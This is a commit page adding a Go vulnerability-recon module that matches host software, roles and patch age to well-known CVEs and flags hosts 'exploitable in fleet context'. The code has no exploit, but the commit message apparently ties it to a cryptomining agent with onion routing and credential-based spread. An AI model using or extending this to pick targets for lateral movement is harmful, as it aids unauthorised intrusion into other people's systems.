Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
219
agent/vulnprobe/scan.go
Normal file
219
agent/vulnprobe/scan.go
Normal file
@@ -0,0 +1,219 @@
|
||||
package vulnprobe
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Run executes read-only LOTL vulnerability recon and returns correlated findings.
|
||||
func Run(ctx HostContext) *ScanReport {
|
||||
findings := correlate(ctx)
|
||||
return finalize(findings, ctx)
|
||||
}
|
||||
|
||||
func correlate(ctx HostContext) []VulnFinding {
|
||||
findings := make([]VulnFinding, 0, len(Catalog))
|
||||
patchDays := ctx.LastPatchDays
|
||||
kbSet := make(map[string]bool, len(ctx.InstalledKBs))
|
||||
for _, kb := range ctx.InstalledKBs {
|
||||
kbSet[strings.ToUpper(strings.TrimSpace(kb))] = true
|
||||
}
|
||||
|
||||
for _, e := range Catalog {
|
||||
f := VulnFinding{
|
||||
CVEID: e.ID,
|
||||
Severity: e.Severity,
|
||||
Component: e.Component,
|
||||
Patched: true,
|
||||
Detail: e.Description,
|
||||
}
|
||||
if ctx.ProbeError != "" {
|
||||
f.Patched = false
|
||||
f.Detail = "probe unavailable"
|
||||
findings = append(findings, f)
|
||||
continue
|
||||
}
|
||||
|
||||
status := "clear"
|
||||
switch e.ID {
|
||||
case "CVE-2021-26855", "CVE-2020-0688":
|
||||
if ctx.ExchangeInstalled {
|
||||
status = "exposed"
|
||||
f.Detail = "Microsoft Exchange detected — verify Mar 2021+ CU patches"
|
||||
if patchDays >= 0 && patchDays > 90 {
|
||||
status = "likely"
|
||||
f.Detail += "; host patch age > 90 days"
|
||||
}
|
||||
}
|
||||
case "CVE-2020-1472":
|
||||
if ctx.IsDomainController {
|
||||
status = "likely"
|
||||
f.Detail = "Domain controller role — ensure Aug 2020 Netlogon patch applied"
|
||||
if patchDays >= 0 && patchDays > 60 {
|
||||
status = "exposed"
|
||||
f.Detail = "DC with patch age > 60 days — Zerologon mitigation urgency"
|
||||
}
|
||||
}
|
||||
case "CVE-2021-44228":
|
||||
if len(ctx.Log4jJars) > 0 {
|
||||
status = "likely"
|
||||
f.Detail = "log4j-core JAR(s) found: " + strings.Join(ctx.Log4jJars, "; ")
|
||||
}
|
||||
case "CVE-2019-19781":
|
||||
if ctx.CitrixPresent {
|
||||
status = "likely"
|
||||
f.Detail = "Citrix install paths present — verify ADC/Gateway patch level"
|
||||
}
|
||||
case "CVE-2019-11510":
|
||||
if ctx.PulsePresent {
|
||||
status = "likely"
|
||||
f.Detail = "Pulse/Ivanti VPN software detected"
|
||||
}
|
||||
case "CVE-2020-5902", "CVE-2022-1388":
|
||||
if ctx.F5Process {
|
||||
status = "likely"
|
||||
f.Detail = "F5-related process detected"
|
||||
} else if ctx.ListeningPorts[443] {
|
||||
status = "likely"
|
||||
f.Detail = "TCP/443 listener — verify F5/BIG-IP patch level if applicable"
|
||||
}
|
||||
case "CVE-2021-26084", "CVE-2022-26134":
|
||||
if ctx.ConfluenceLike {
|
||||
status = "likely"
|
||||
f.Detail = "Atlassian/Confluence-like Java process detected"
|
||||
}
|
||||
case "CVE-2021-40539":
|
||||
if ctx.ManageEnginePresent {
|
||||
status = "likely"
|
||||
f.Detail = "ManageEngine directory present"
|
||||
}
|
||||
case "CVE-2018-13379":
|
||||
if ctx.FortiClient {
|
||||
status = "likely"
|
||||
f.Detail = "Fortinet client process running"
|
||||
}
|
||||
case "CVE-2021-21972":
|
||||
if ctx.VMwareServerish {
|
||||
status = "likely"
|
||||
f.Detail = "VMware server-style services detected"
|
||||
}
|
||||
case "CVE-2021-34527":
|
||||
if ctx.SpoolerRunning && !ctx.IsDomainController {
|
||||
status = "likely"
|
||||
f.Detail = "Print Spooler running — restrict if not required"
|
||||
}
|
||||
}
|
||||
|
||||
// KB-based patch confirmation for Windows CVEs with known mitigations.
|
||||
if len(e.PatchKBs) > 0 && status != "clear" {
|
||||
for _, kb := range e.PatchKBs {
|
||||
if kbSet[strings.ToUpper(kb)] {
|
||||
status = "clear"
|
||||
f.Detail = "mitigating KB " + kb + " installed"
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Stale patching amplifies exposure indicators.
|
||||
if (status == "likely" || status == "exposed") && patchDays > 120 {
|
||||
f.Detail += " · OS patches older than 120 days"
|
||||
}
|
||||
|
||||
f.Patched = status == "clear"
|
||||
f.ExploitableInFleetContext = !f.Patched && fleetExploitable(e, status, ctx)
|
||||
findings = append(findings, f)
|
||||
}
|
||||
|
||||
// Linux package CVE hints from apt/dnf security listings.
|
||||
if ctx.Platform == "linux" {
|
||||
findings = append(findings, linuxPackageFindings(ctx)...)
|
||||
}
|
||||
|
||||
return findings
|
||||
}
|
||||
|
||||
func fleetExploitable(e CatalogEntry, status string, ctx HostContext) bool {
|
||||
if status == "clear" {
|
||||
return false
|
||||
}
|
||||
for _, p := range e.FleetPorts {
|
||||
if ctx.ListeningPorts[p] {
|
||||
return true
|
||||
}
|
||||
}
|
||||
switch e.ID {
|
||||
case "CVE-2020-1472":
|
||||
return ctx.IsDomainController
|
||||
case "CVE-2021-26855", "CVE-2020-0688":
|
||||
return ctx.ExchangeInstalled
|
||||
case "CVE-2021-44228":
|
||||
return len(ctx.Log4jJars) > 0
|
||||
case "CVE-2019-19781":
|
||||
return ctx.CitrixPresent
|
||||
case "CVE-2019-11510":
|
||||
return ctx.PulsePresent
|
||||
case "CVE-2021-34527":
|
||||
return ctx.SpoolerRunning && ctx.ListeningPorts[445]
|
||||
case "CVE-2018-13379":
|
||||
return ctx.FortiClient || ctx.ListeningPorts[10443]
|
||||
}
|
||||
if ctx.SSHListening && (ctx.ListeningPorts[22] || ctx.ListeningPorts[2222]) {
|
||||
return status == "exposed" || status == "likely"
|
||||
}
|
||||
return status == "exposed"
|
||||
}
|
||||
|
||||
func finalize(findings []VulnFinding, ctx HostContext) *ScanReport {
|
||||
r := &ScanReport{
|
||||
ScannedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Findings: findings,
|
||||
}
|
||||
for _, f := range findings {
|
||||
if f.ExploitableInFleetContext {
|
||||
r.ExposedCount++
|
||||
if f.Severity == "critical" {
|
||||
r.CriticalCount++
|
||||
}
|
||||
} else if !f.Patched {
|
||||
r.ExposedCount++
|
||||
if f.Severity == "critical" {
|
||||
r.CriticalCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
r.RiskScore = riskScore(r)
|
||||
switch {
|
||||
case r.ExposedCount > 0 || r.CriticalCount > 0:
|
||||
r.Summary = "Fleet-context vulnerability indicators detected — patch or isolate affected roles"
|
||||
case countUnpatched(findings) > 0:
|
||||
r.Summary = "Some CVE-related software stacks detected — verify versions and patches"
|
||||
default:
|
||||
r.Summary = "No high-confidence vulnerability exposure indicators on this host"
|
||||
}
|
||||
if ctx.ProbeError != "" {
|
||||
r.Summary = "Vulnerability probe partially unavailable"
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
func countUnpatched(findings []VulnFinding) int {
|
||||
n := 0
|
||||
for _, f := range findings {
|
||||
if !f.Patched {
|
||||
n++
|
||||
}
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
func riskScore(r *ScanReport) int {
|
||||
if r == nil {
|
||||
return 0
|
||||
}
|
||||
score := r.CriticalCount*25 + r.ExposedCount*12
|
||||
if score > 100 {
|
||||
return 100
|
||||
}
|
||||
return score
|
||||
}
|
||||
Reference in New Issue
Block a user